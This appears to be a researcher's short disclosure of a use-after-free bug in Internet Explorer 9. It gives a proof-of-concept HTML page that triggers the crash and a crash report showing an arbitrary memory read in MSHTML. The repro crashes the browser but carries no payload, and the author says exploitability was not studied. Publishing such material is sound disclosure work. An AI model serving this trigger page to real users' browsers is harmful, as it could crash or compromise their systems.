A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
Microsoft Internet Explorer 9
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of BugId below.Repro.
<html> <head> <script defer> var oElement = document.getElementById("ruby"); var oElement = oElement.
parentNode. removeChild(oElement); document.write("<abbr></abbr>"); document.documentElement. offsetTop; setTimeout("location. reload()", 100); </script> </head> <body> <abbr dir="ltr"> <ruby id="ruby" dir="rtl"> </ruby> </abbr> </body> </html>
dll!CView:: EnsureSize Arbitrary AVR(291A3D35) description: Security: Attempt to read from unallocated arbitrary memory (@0x0B2FEFE8) in MSHTML. dll!CView:: EnsureSize note: Based on this information, this is expected to be a security issue! application: MSIE 9. 00. 8112. 16421